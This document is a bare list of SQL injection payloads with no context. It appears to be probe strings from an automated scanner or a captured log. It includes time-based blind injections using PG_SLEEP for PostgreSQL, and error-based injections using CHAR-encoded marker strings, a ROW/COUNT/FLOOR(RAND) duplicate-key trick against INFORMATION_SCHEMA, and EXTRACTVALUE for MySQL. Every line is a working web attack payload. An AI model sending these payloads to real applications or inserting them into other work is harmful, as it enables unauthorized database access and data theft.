555-1 OR 168=(SELECT 168 FROM PG_SLEEP(15))--
555-1)) OR 430=(SELECT 430 FROM PG_SLEEP(15))--
555-1) OR 599=(SELECT 599 FROM PG_SLEEP(15))--
555-1 OR 827=(SELECT 827 FROM PG_SLEEP(3))--
"+(select CHAR(52),CHAR(67),CHAR(117),CHAR(106),CHAR(119),CHAR(118),CHAR(101),CHAR(98),CHAR(113),CHAR(108),CHAR(104))+"
"+(SELECT 1 and ROW(1,1)>(SELECT COUNT(*),CONCAT(CHAR(52),CHAR(67),CHAR(117),CHAR(106),CHAR(119),CHAR(118),CHAR(101),CHAR(98),CHAR(113),CHAR(108),CHAR(104),0x3a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.COLLATIONS GROUP BY x)a)+"
"+EXTRACTVALUE(1,CONCAT(0x3a,CHAR(52),CHAR(67),CHAR(117),CHAR(106),CHAR(119),CHAR(118),CHAR(101),CHAR(98),CHAR(113),CHAR(108),CHAR(104)))+"
(select CHAR(52),CHAR(67),CHAR(117),CHAR(106),CHAR(119),CHAR(118),CHAR(101),CHAR(98),CHAR(113),CHAR(108),CHAR(104))